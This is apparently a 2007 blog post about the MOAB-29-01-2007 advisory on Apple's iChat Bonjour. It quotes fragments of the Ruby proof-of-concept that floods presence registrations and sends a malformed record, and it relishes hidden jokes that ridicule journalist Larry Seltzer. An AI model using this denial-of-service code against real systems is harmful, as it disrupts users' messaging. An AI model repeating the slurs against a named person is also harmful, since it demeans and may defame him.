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Larry Seltzer's Taliban Bearded Face

Never without a sense of humour the MOAB team go after eWeek's primordial Windows defender.


MOAB-29-01-2007 is about design weaknesses in Apple's iChat Bonjour services but as so many times previously it's about so much more. Incapable of resisting the urge to comment on the frenetic fluttering of wings both in and around Beige Box County, MOAB prove again they're not only good at what they do - they're good entertainers as well.

The Ruby script for MOAB-29-01-2007 contains new gems. Ruby can namely reverse character strings in place. Not that such obfuscation is a challenge for anyone outside BBC but it makes for more fun. Any declaration with '.reverse' is part of the joke.

  • Line 32.
    def oh_gnoes_contact_dos(status_msg = "ekoC stronS reztleS yrraL".reverse,
                             firstname  = 'Pwnies',
                             lastname   = 'Mgheetacek')
  • Line 51.
      while true
        rand_str = "3891ecniSrevoLyaGeipmaerCterceSkecatPreztleSyrraL".reverse
        (rand_str.length-1).downto(1) do |c|
           n = rand(c) + 1
           rand_str[c], rand_str[n] = rand_str[n], rand_str[c]
        end
  • Line 59.
        puts "++ Registering presence #{count}"
        # TODO: add NULL record with user avatar icon (ex. Larry Seltzer's taliban bearded face)
  • Line 73.
    def format_dos()
      keyset = {  "status" => "avail", "msg" => "I'm the Doomed eWook", "vc" => "CUAV!", "1st" => "Larry",
                  "last" => "Seltzer", "txtvers" => "1", "phsh" => ("\250" * 40),
                  "port.p2pj" => "1337" }
    
      rand_str = "nabilaTAsAlufrewoPsIyrraL".reverse
      (rand_str.length-1).downto(1) do |c|
         n = rand(c) + 1
         rand_str[c], rand_str[n] = rand_str[n], rand_str[c]
      end
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